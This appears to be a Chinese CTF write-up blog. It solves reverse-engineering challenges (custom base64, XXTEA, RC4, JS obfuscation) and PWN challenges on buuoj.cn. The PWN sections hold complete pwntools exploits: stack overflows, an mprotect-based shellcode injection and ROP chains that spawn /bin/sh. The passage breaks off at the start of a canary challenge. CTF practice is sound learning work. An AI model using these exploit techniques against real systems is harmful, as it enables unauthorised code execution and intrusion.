RE

拔丝溜四(NewstarsCTF2022)

~~题在这里:~~https://buuoj.cn/match/matches/146/challenges#%E6%8B%94%E4%B8%9D%E6%BA%9C%E8%82%86%20(easy)

这个题,对base64进行了魔改…

首先,分析题目,从start入口寻找main:

image-20230806194752784

从这里的Code=某个函数()继续进入(既然是给返回代码赋值,那么很有可能就是main入口)

image-20230806194844163

这里的j_main是我命名成main的,后来IDA又重新分析为j_main(),进入真正的main后就可以正式分析了,

实际上代码就是对输入的长度为42的flag进行魔改的base64编码,编码结果就是main中那个显而易见的str2:

image-20230806195020106

第29行的encode()也是自己修改的函数名,魔改的base64()编码就是这里进行

进入后发现不是普通的base64,encode()将flag分成若干组,3个一组分别进行编码,但是每一组都使用不同的编码字符表—也就是所谓的变表加密

再次进入循环中的第一句函数调用中,发现有一个rand(),实际从逻辑上考虑肯定不可能是随机的,否则不会出现那个固定的base64结果,所以联想到对srand()调用时输入了某个固定的种子,但是我这里没有看出来哪个是srand()函数的调用(我太菜了)

于是我使用动态调试的方法,一个个的把求字符表的偏移值v1求出来:

image-20230806195428984

在这里设断点后,直到运行完,把所有的v1出现过的值写成python列表就可以写解密脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64

data = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V'
alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]
#key即v1的所有变化值
step = 0

for i in range(0, len(data), 4):
new_alpha = '' + alpha[key[step]:] + alpha[0:key[step]]#将原字符表进行两部分的切片,调换位置,如不懂需要再去看看源码逻辑
# print(new_alpha)
step += 1
result = base64.b64decode(data[i:i + 4].translate(str.maketrans(new_alpha, alpha)))
#这里使用maketrans进行字符表的映射转换
print(result.decode(),end='')

运行结果:

image-20230806195649900

但是比赛结束了没办法提交flag…

结束…

EzTea(NewstarsCTF2022)

这个题顾名思义,Tea加密…

image-20230807114651660

去分析代码就能知道,要对输入的串(之所以不说字符串是因为加密解密还是说字节串比较好)进行加密,然后与一个9*sizeof(int32_t)==36字节长度的加密后的串进行比较,也就是说这个加密的串就是加密后的flag.

那么我们要分析程序的加密算法,容易得知这是TEA系列的加密算法,而且通过加密中的<<4和>>4可以知道是TEA目前优化最好的(貌似?)XXTEA加密(不过MX还是要自己改的)

写出逆向解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


/*
* 这是网上的XXTEA使用的MX,但是与题不符
* #define MX (z>>5^y<<2) + (y>>3^z<<4)^(sum^y) + (k[p&3^e]^z);
*/
/*
* IDA反汇编的加密部分,根据此进行MX的修改
* v9 = ((v5 ^ *(_DWORD * )(a3 + 4i64 * (v10 ^ i & 3))) + (v6 ^ v7)) ^ (((32 * v5) ^ (v6 >> 3))
* + ((4 * v6) ^ (v5 >> 4)))
* + intlist[i];
*/

//这是根据IDA正确编写的解密算法
#define MX (((z ^ k[(e^p)&3])+(y^sum))^ (((32*z)^y>>3)+((4*y)^(z>>4))))

long btea(uint32_t *v, int n, uint32_t *k) {
uint32_t z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x11451400;
unsigned p, q;
if (n > 1) { /* Coding Part */
q = 6 + 52 / n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) y = v[p + 1], z = v[p] += MX;
y = v[0];
z = v[n - 1] += MX;
}
return 0;
} else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52 / n;
sum = q * DELTA;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) z = v[p - 1], y = v[p] -= MX;
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}

int main() {
uint32_t k[4] = {0x19, 0x19, 0x8, 0x10};
uint8_t data[] = {
0x82, 0x8a, 0xfa, 0x38, 0x80,
0x13, 0x50, 0xd7, 0x9d, 0x96,
0x40, 0xe, 0x20, 0x91, 0x16,
0x4e, 0xab, 0x29, 0x3a, 0x71,
0x3d, 0x39, 0xe5, 0x6c, 0x2e,
0x75, 0x9d, 0xb6, 0xe6, 0x88,
0x1a, 0x84, 0x59, 0xb4, 0x31, 0x6f
};
btea((uint32_t *) data, -9, k);

for (int i = 0; i < 36; i += 1) {
printf("%c", data[i]);
}
return 0;
}

运行结果:

image-20230807114835421

结束…

BabyAlgorithm

这个题没啥好说的,就是RC4,然后我非要自己写脚本…费老半天

按照顺序把S-box(key)之类的求出来就行

我的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void swap(uint8_t *a, uint8_t *b) {
uint8_t temp = *a;
*a = *b;
*b = temp;
}

uint8_t key2_origin[] = {
78, 196, 247, 104, 9, 38, 8, 14, 146,
45, 154, 26, 100, 176, 33, 164, 11,
93, 162, 34, 74, 212, 27, 126, 251,
118, 128, 85, 50, 39, 79, 29, 248,
142, 136, 15, 90, 105, 230, 180, 47,
156, 140, 137, 54, 17, 56, 141, 37,
231, 205, 66, 135, 223, 120, 76, 95,
159, 153, 163, 207, 161, 178, 208, 155,
71, 106, 209, 188, 94, 133, 19, 89,
30, 198, 44, 82, 182, 75, 101, 43,
64, 170, 235, 150, 117, 65, 73, 240,
16, 109, 244, 129, 222, 12, 171, 13,
91, 195, 210, 229, 144, 192, 102, 41,
1, 148, 68, 72, 32, 87, 152, 97,
131, 143, 21, 174, 40, 239, 168, 57,
215, 197, 42, 186, 236, 77, 147, 121,
169, 252, 233, 187, 189, 175, 69, 232,
221, 10, 220, 4, 200, 202, 226, 213,
185, 3, 0, 173, 167, 138, 108, 88,
245, 238, 48, 255, 190, 127, 25, 86,
84, 194, 243, 114, 191, 99, 23, 250,
157, 119, 211, 145, 20, 53, 125, 24,
183, 35, 139, 160, 218, 5, 123, 225,
122, 166, 98, 113, 204, 216, 107, 158,
246, 63, 31, 179, 46, 92, 18, 28,
58, 111, 115, 241, 103, 203, 172, 62,
7, 116, 193, 134, 81, 199, 130, 206,
67, 228, 227, 237, 83, 51, 22, 181,
6, 55, 219, 201, 242, 132, 80, 149,
165, 214, 70, 184, 253, 112, 96, 36,
151, 110, 177, 60, 2, 234, 59, 52,
254, 217, 249, 124, 224, 61, 49
};
uint8_t key2[] = {
78, 179, 98, 15, 54, 170, 109, 41, 217, 180, 246, 227, 208, 96, 11, 160, 81, 205, 134, 234, 212, 155, 141, 20,
250, 79, 127, 177, 105, 82, 63, 22, 130, 144, 253, 47, 125, 6, 18, 60, 117, 107, 44, 162, 83, 112, 56, 27, 37,
231, 93, 66, 135, 223, 120, 76, 95, 159, 153, 163, 207, 161, 178, 100, 74, 71, 106, 209, 188, 94, 133, 19, 89,
30, 198, 140, 39, 182, 75, 101, 43, 64, 38, 235, 150, 104, 65, 73, 240, 16, 8, 244, 129, 222, 12, 171, 13, 91,
195, 210, 229, 142, 192, 102, 14, 1, 148, 68, 72, 32, 87, 152, 97, 131, 143, 21, 174, 40, 239, 168, 57, 215,
197, 42, 186, 236, 77, 147, 121, 169, 252, 233, 187, 189, 175, 69, 232, 221, 10, 220, 4, 200, 202, 226, 213,
185, 3, 0, 173, 167, 138, 108, 88, 245, 238, 48, 255, 190, 128, 25, 86, 84, 194, 243, 114, 191, 99, 23, 251,
157, 119, 211, 145, 126, 53, 90, 24, 183, 35, 139, 164, 218, 5, 123, 225, 122, 166, 247, 113, 204, 216, 156,
158, 154, 118, 31, 196, 46, 92, 230, 28, 58, 111, 115, 241, 103, 203, 172, 62, 7, 116, 193, 137, 33, 199, 248,
206, 67, 228, 26, 237, 9, 51, 29, 181, 50, 55, 219, 201, 242, 132, 80, 149, 165, 214, 70, 184, 136, 17, 176, 36,
151, 110, 85, 45, 2, 34, 59, 52, 254, 146, 249, 124, 224, 61, 49
};
uint8_t s3[] = {
198, 33, 202, 191, 81, 67, 55, 49, 117, 228,
142, 192, 84, 111, 143, 238, 248, 90, 162, 193,
235, 165, 52, 109, 113, 85, 8, 7, 178, 168,
47, 244, 81, 142, 12, 204, 51, 83, 49, 0,
64, 214, 202, 236, 212
};

int main() {
int len = 45;
uint8_t s[100] = {0};

//v5,v6和key都需要提前跑一遍获取最后的状态,所以这个代码非常麻烦
int v5 = 45;
int v6 = 238;
for (int i = 45; i >= 0;) {
--i;
s[i] = s3[i] ^ (key2[((int)key2[v5] + key2[v6])%256]);
swap(key2 + v5, key2 + v6);
v6 = (v6 - (int) key2[v5] + 256) % 256;
v5 = (v5 - 1) < 0 ? 255 : v5 - 1;
}

/*
这里用来求循环的最终状态以反向执行
int v5 = 0;
int v6 = 0;
int i = 0;
while (i < len) {
v5 = (v5 + 1) % 256;
v6 = (v6 + key2_origin[v5]) % 256;
swap(key2_origin + v5, key2_origin + v6);
++i;
}
printf("v5=%d,v6=%d\n", v5, v6);
for (int i = 0; i < 256; ++i) {
printf("%d,", key2_origin[i]);
}*/
printf("\n");
for (int i = 0; i < 45; ++i) {
printf("%d ", s[i]);
}
return 0;
}

但是我们实际上知道RC4的加解密的过程是相同的…

所以代码实际上基本不用改…

正解代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void swap(uint8_t *a, uint8_t *b) {
uint8_t temp = *a;
*a = *b;
*b = temp;
}

uint8_t key2_origin[] = {
78, 196, 247, 104, 9, 38, 8, 14, 146,
45, 154, 26, 100, 176, 33, 164, 11,
93, 162, 34, 74, 212, 27, 126, 251,
118, 128, 85, 50, 39, 79, 29, 248,
142, 136, 15, 90, 105, 230, 180, 47,
156, 140, 137, 54, 17, 56, 141, 37,
231, 205, 66, 135, 223, 120, 76, 95,
159, 153, 163, 207, 161, 178, 208, 155,
71, 106, 209, 188, 94, 133, 19, 89,
30, 198, 44, 82, 182, 75, 101, 43,
64, 170, 235, 150, 117, 65, 73, 240,
16, 109, 244, 129, 222, 12, 171, 13,
91, 195, 210, 229, 144, 192, 102, 41,
1, 148, 68, 72, 32, 87, 152, 97,
131, 143, 21, 174, 40, 239, 168, 57,
215, 197, 42, 186, 236, 77, 147, 121,
169, 252, 233, 187, 189, 175, 69, 232,
221, 10, 220, 4, 200, 202, 226, 213,
185, 3, 0, 173, 167, 138, 108, 88,
245, 238, 48, 255, 190, 127, 25, 86,
84, 194, 243, 114, 191, 99, 23, 250,
157, 119, 211, 145, 20, 53, 125, 24,
183, 35, 139, 160, 218, 5, 123, 225,
122, 166, 98, 113, 204, 216, 107, 158,
246, 63, 31, 179, 46, 92, 18, 28,
58, 111, 115, 241, 103, 203, 172, 62,
7, 116, 193, 134, 81, 199, 130, 206,
67, 228, 227, 237, 83, 51, 22, 181,
6, 55, 219, 201, 242, 132, 80, 149,
165, 214, 70, 184, 253, 112, 96, 36,
151, 110, 177, 60, 2, 234, 59, 52,
254, 217, 249, 124, 224, 61, 49
};
uint8_t s3[] = {
198, 33, 202, 191, 81, 67, 55, 49, 117, 228,
142, 192, 84, 111, 143, 238, 248, 90, 162, 193,
235, 165, 52, 109, 113, 85, 8, 7, 178, 168,
47, 244, 81, 142, 12, 204, 51, 83, 49, 0,
64, 214, 202, 236, 212
};

int main() {
int len = 45;
uint8_t s[100] = {0};
int v5 = 0, v6 = 0;
for (int i = 0; i < 45; ++i) {
v5 = (v5 + 1) % 256;
v6 = (v6 + key2_origin[v5]) % 256;
swap(key2_origin + v5, key2_origin + v6);
s[i] = s3[i] ^ (key2_origin[((int) key2_origin[v5] + key2_origin[v6]) % 256]);
}

printf("\n");
for (int i = 0; i < 45; ++i) {
printf("%d ", s[i]);
}
return 0;
}

运行的结果是一样的:

image-20230807225943226

然后复制到python的解密脚本中转换成utf-8的字符串就行,不过貌似没有base64的事…

1
2
3
4
5
6
7
8
import base64
data = []
data = input().split(' ')
print(data)
str = ''
for i in data:
str += chr(int(i))
print(str)

运行结果:

1
2
3
4
E:\devtools\venu\Scripts\python.exe D:\Data\CTF\do\re_run.py 
110 49 98 111 111 107 123 117 115 49 110 71 95 102 51 97 116 117 114 51 115 95 55 111 95 100 101 55 101 114 109 49 110 51 95 52 108 103 48 114 105 55 104 109 125
['110', '49', '98', '111', '111', '107', '123', '117', '115', '49', '110', '71', '95', '102', '51', '97', '116', '117', '114', '51', '115', '95', '55', '111', '95', '100', '101', '55', '101', '114', '109', '49', '110', '51', '95', '52', '108', '103', '48', '114', '105', '55', '104', '109', '125']
n1book{us1nG_f3atur3s_7o_de7erm1n3_4lg0ri7hm}

结束…

slices

这题简单…因为没题干把题目的源代码也放上来吧…

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

flag = input('Enter flag: ')

def fail():
print('Wrong!')
exit(-1)

if len(flag) != 32: fail()

if flag[:5] != 'hope{': fail()
if flag[-1] != '}': fail()
if flag[5::3] != 'i0_tnl3a0': fail()
if flag[4::4] != '{0p0lsl': fail()
if flag[3::5] != 'e0y_3l': fail()
if flag[6::3] != '_vph_is_t': fail()
if flag[7::3] != 'ley0sc_l}': fail()
print('Congrats!')
print('flag is: ', flag)

就这么简单,写个脚本就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
flag = ['0'] * 32


def go(source, start, end, step):
idx = start
for i in range(0, len(source)):
flag[idx] = source[i]
idx += step
if idx >= end:
break


go('hope{', 0, 5, 1)
go('i0_tnl3a0', 5, 32, 3)
go('{0p0lsl', 4, 32, 4)
go('e0y_3l', 3, 32, 5)
go('_vph_is_t', 6, 32, 3)
go('ley0sc_l}', 7, 32, 3)
flag_str = ''.join(flag)
print(flag_str)

不出意外的话答案应该没啥问题…(解密脚本写的不咋地…)

image-20230807233325281

hope{i_l0ve_pyth0n_slic3s_a_l0t}

结束…

super anti scalper solution 9000

这个题就是JS混淆,代码很简单,我们其实只需要一件事:

​ JS中任何对象都是true…

还有一件事:

​ !![]把[]转换为布尔值,又[]是一个对象,所以他是true,然后!取反,!再取反,所以!![]的值就是true

还有一件事:

​ !![]+!![]对2个true进行相加,显然true是1,那么答案就是1+1

所以首先就把!![]全部换成1,方便查看:其实不替换也行…

image-20230808095802372

很显然,输入的字符串就是n,然后在第27行进行了比较,所以其实直接把27行n===后面那一串输出就行…

image-20230808100000896

运行结果(记得按一下按钮):

image-20230808103948072

hope{sHoe_1ddbf55508afcc08_sold!}

结束…

open-source

这题…给了代码…那就不是题了…

解释直接放注释了,运行出来的结果就是flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 4) { //3个参数 51966 25 h4cky0u
printf("what?\n");
exit(1);
}

unsigned int first = atoi(argv[1]);
if (first != 0xcafe) {//51966
printf("you are wrong, sorry.\n");
exit(2);
}

unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {//25
printf("ha, you won't get it!\n");
exit(3);
}

if (strcmp("h4cky0u", argv[3])) {
printf("so close, dude!\n");
exit(4);
}

printf("Brr wrrr grr\n");

unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

printf("Get your key: ");
printf("%x\n", hash);
return 0;
}

运行结果:

image-20230808105306027

结束…

PWN

not_the_same_3dsctf_2016

我只能说这个题对于我有点新了…貌似有两个做法,但是第一个做法那个exit()不太会搞,先放了吧…

方法一

这个题,乍一看是一个ret2next,但是…一开始本地能跑通,远程不过…后续发现大概是缓冲区刷新的问题,于是让printf继续返回到exit()以进行缓冲区刷新即可通过

image-20230809114710444

开幕雷击(爽击)…gets()就躺在那里,所以我们肯定是要从main开始ret,不过注意一个问题,那就是没有push ebp了(具体去看main的汇编)

但是除此之外没有调用任何的函数,那就去找吧,去尝试找"flag"字符串发现第一个就是,然后双击过去到汇编(?),接下来按Ctrl+x快捷键跳转到使用了这个字符串的函数,发现是一个get_secret()函数:

有一个flag.txt文件相关的字符串:

image-20230809115015923

双击过去:

image-20230809115051406

ctrl+x跳转,然后f5查看:

image-20230809115244164

这个函数将flag.txt写入了fl4g这个地方(可寻址),那么我们接下来的事就是想办法跳转到get_secret()然后再用printf或者write之类的输出就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = remote('node4.buuoj.cn', 25763)
# p = process('./not_the_same_3dsctf_2016')
getflag_addr = 0x080489A0
printf_addr = 0x0804F0A0
flag_addr = 0x080ECA2D
write_addr = 0x0806E270
exit_addr = 0x0804E660
# pop_ret_addr = 0x4006b3 #64位用到
payload = b'a' * (0x2d + 4 * 0) + p32(getflag_addr)
#payload += p32(printf_addr) + p32(1) + p32(flag_addr)
payload += p32(printf_addr) + p32(exit_addr) + p32(flag_addr)

p.sendline(payload)

p.interactive()

本地创建一个flag.txt测试一下没问题,然后把p32(1)改成p32(exit_addr),远程也能通过了:

image-20230809131447147

或者这样用fflush也行,不过那个stdout的地址不是直接找到的那个,调试找出来的,先记录一下再说:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = remote('node4.buuoj.cn', 25763)
# p = process('./not_the_same_3dsctf_2016')
getflag_addr = 0x080489A0
printf_addr = 0x0804F0A0
flag_addr = 0x080ECA2D
write_addr = 0x0806E270
exit_addr = 0x0804E660
fflush_addr = 0x0804F3A0
stdout_addr = 0x80EB200
# pop_ret_addr = 0x4006b3 #64位用到
payload = b'a' * (0x2d + 4 * 0) + p32(getflag_addr)
payload += p32(printf_addr) + p32(fflush_addr) + p32(flag_addr)
# payload += p32(printf_addr) + p32(exit_addr) + p32(flag_addr)
payload += b'a'*4 + p32(stdout_addr)

p.sendline(payload)

p.interactive()

这个用fflush也行,就是stdout这个文件指针一下子没找到正确的那个

方法二

这个应该是正解吧…或者可能是出题人疏忽了没搞三件套?(啥是三件套QWQ)

ret2shell的做法:

首先用checksec看看,发现有NX保护

image-20230809132028022

然后IDA中发现了mprotect():

image-20230809131755622

int mprotect(void *addr, size_t len, int prot)

三个参数分别是修改的起始地址,长度,修改为的权限

首先用这个函数去把.bss提权为可写权限(直接用7就行)

然后利用read进行shellcode的植入(read函数进行unix的读写)

接着就跳转到shellcode的位置进行getshell即可

注意:因为参数为3个,所以需要一个pop三连+ret的指令,这里用

ROPgadget --binary not_the_same_3dsctf_2016 --only 'pop|ret' | grep pop

来获取,随便一个就行,例如:

image-20230809134557805

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = remote('node4.buuoj.cn', 25763)
mprotect_addr = 0x0806ED40
# getflag_addr = 0x080489A0
# flag_addr = 0x080ECA2D
pppr_addr = 0x0806fcf0 # 使用ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop取得
bss_addr = 0x080EB000
size = 0x1000
read_addr = 0x0806E200

# mprotect
payload = b'a' * (0x2d + 4 * 0) + p32(mprotect_addr) + p32(pppr_addr) + p32(bss_addr) + p32(size) + p32(7)
# read --- 从stdin(0)即标准输入读取到bss_addr中
payload += p32(read_addr) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(size)
# run shellcode
payload+=p32(bss_addr)

# 一直进行到read准备getshell
p.sendline(payload)

# shellcode的读取(asm函数百度来的...)
payload1=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload1)

p.interactive()

参见:

https://blog.csdn.net/Kata_Jhin/article/details/129540833?csdn_share_tail={"type"%3A"blog"%2C"rType"%3A"article"%2C"rId"%3A"129540833"%2C"source"%3A"Kata_Jhin"}

(不是一个题,但是做法差不多一样…)

结束…

inndy_rop

这道题是rop…ret2syscall…

ROPgadget是真的好用啊…

那么我正好看了某个文章:

https://repw.github.io/2018/10/27/栈溢出之ROP基础/#undefined

关于系统调用号:

​ 截图取自:https://blog.csdn.net/kaiandshan/article/details/44587225

image-20230812235944050

题目分析:

代码非常简单,直接从一个overflow函数中gets()溢出,但是发现没有system()这些可利用的东西

所以是一个rop的题,那么既然是rop,就去用ROPgadget找rop

首先,最粗暴的方法就是直接用ROPgadget的一个奇葩功能直接生成shellcode,然后粘贴进脚本,加上偏移就行…

ROPgadget --binary rop --ropchain

使用该命令就会自动生成rop链,粘贴进脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from struct import pack
# 记得要加上pack这个模块的引用,因为shellcode要用到

p = remote('node4.buuoj.cn', 27861)
# 定义一个函数,将生成的shellcode直接粘贴进去,加上b'a' * (0xc + 4)的偏移即可
def shellcode():
p = b'a' * (0xc + 4)

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p


payload = shellcode()
p.sendline(payload)

p.interactive()

运行没有问题:

image-20230812234652868

然后我想自己构造(具体知识见百度[ctf rop]…):

1
2
3
4
5
6
7
pop_eax_ret_addr = 0x080b8016
pop_edx_ecx_ebx_ret_addr = 0x0806ed00
sh_addr = 0x080be47d
int_0x80_addr = 0x0806c943

payload = b'a' * (0xc+4) + p32(pop_eax_ret_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret_addr) + p32(0) + p32(0) +p32(sh_addr)+p32(int_0x80_addr)

但是sh_addr不行,因为sys_execve()要使用’/bin/bash’,所以这里应该手动注入:

image-20230812235420260

截图取自https://blog.csdn.net/qq_73149934/article/details/128430238

这里先放个记录,回头再看看

cmcc_simplerop

这个题也是rop,不过用ROPgadget生成的shellcode跑不通,手动写的syscall可以过

checksec发现没有PIE,开了NX

image-20230813120940170

题目很简单,就是直接让read溢出,这里的思路是用系统调用11来用execve进行getshell

先计算个偏移(IDA里直接看的有误):

image-20230813125157314

生成一串数字复制下来然后调试:

image-20230813125237078

输入那串字符:

image-20230813125253822

image-20230813125318034

这里提示了一个无效地址,然后再运行这个命令:

image-20230813125359575

找到偏移32(即0x20)

接下来分析rop,用ROPgadget发现没有’/bin/sh\x00’这个字符串,所幸有read函数,那么首先要用栈溢出将返回地址返回到read函数来将其注入到.bss段(这道题没有开启PIE,bss的地址就是绝对地址)

如此有第一段payload如下:

1
2
3
4
5
6
# ret to read() --- read '/bin/sh'
read_addr = 0x0806CD50
# bin_sh_addr 为从.bss段中找的足够长的一段内存
bin_sh_addr = 0x080EAFBF
#最后的0x8为接下来要输入的'/bin/sh\x00'字符串的长度
payload = b'a' * (0x20) + p32(read_addr) + p32(pop_edx_ecx_ebx_ret_addr) + p32(0) + p32(bin_sh_addr) + p32(0x8)

再接下来就是系统调用,知识见inndy_rop的WP:

1
2
3
# syscall --- execve
payload += p32(pop_eax_ret_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_0x80_addr)

最后记得要多加一个字符串的输入:

1
p.sendline('/bin/sh\x00')

最后总的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from struct import pack

p = remote('node4.buuoj.cn', 26428)

# p = process('./rop')

pop_eax_ret_addr = 0x080bae06
pop_edx_ecx_ebx_ret_addr = 0x0806e850
sh_addr = 0x080c1a9d
int_0x80_addr = 0x080493e1

# ret to read() --- read '/bin/sh'
read_addr = 0x0806CD50
# bin_sh_addr 为从.bss段中找的足够长的一段内存
bin_sh_addr = 0x080EAFBF
# 最后的0x8为接下来要输入的'/bin/sh\x00'字符串的长度
# 0x20的偏移需要使用调试去动态检查出来(cyclic -l 0x61616169)
payload = b'a' * (0x20) + p32(read_addr) + p32(pop_edx_ecx_ebx_ret_addr) + p32(0) + p32(bin_sh_addr) + p32(0x8)
# syscall --- execve
payload += p32(pop_eax_ret_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_0x80_addr)

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

# 下面的是失败的ropchain(ROPgadget生成的)
# def shellcode():
# p = b'a' * 0x20
#
# p += pack('<I', 0x0806e82a) # pop edx ; ret
# p += pack('<I', 0x080ea060) # @ .data
# p += pack('<I', 0x080bae06) # pop eax ; ret
# p += b'/bin'
# p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
# p += pack('<I', 0x0806e82a) # pop edx ; ret
# p += pack('<I', 0x080ea064) # @ .data + 4
# p += pack('<I', 0x080bae06) # pop eax ; ret
# p += b'//sh'
# p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
# p += pack('<I', 0x0806e82a) # pop edx ; ret
# p += pack('<I', 0x080ea068) # @ .data + 8
# p += pack('<I', 0x08054250) # xor eax, eax ; ret
# p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
# p += pack('<I', 0x080481c9) # pop ebx ; ret
# p += pack('<I', 0x080ea060) # @ .data
# p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
# p += pack('<I', 0x080ea068) # @ .data + 8
# p += pack('<I', 0x080ea060) # padding without overwrite ebx
#
# p += pack('<I', 0x0806e82a) # pop edx ; ret
# p += pack('<I', 0x080ea068) # @ .data + 8
# p += pack('<I', 0x08054250) # xor eax, eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x0807b27f) # inc eax ; ret
# p += pack('<I', 0x080493e1) # int 0x80
#
# return p


# payload = shellcode()

运行结果:

image-20230813121936742

结束…

canary1

关于canary…百度复习吧…

绕过方法:

​ 1.大量fork的题: 使用逐字节爆破的方法

​ 2.字符串输出泄露canary

​ 3.GOT表劫持

但是…这道题是假的canary!!!

虽然checksec显示有canary…但是…

image-20230813223357926

看汇编也能看出来,xor的结果根本就没有用到,下面是无条件跳转到call之后:

image-20230813223656235

而且实际编写脚本也能发现0x20的输入长度根本不足以溢出到覆盖所谓canary的开头的00字节:

image-20230813223739191

所以实际上就是个常规溢出,这里是syscall的getshell方式,而且题目中已经存在’/bin/sh’了…

本来这个题原本是用字符串溢出来泄露canary的…但是被某大佬patch掉了…orz

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from struct import pack

# p = remote('node4.buuoj.cn', 26428)

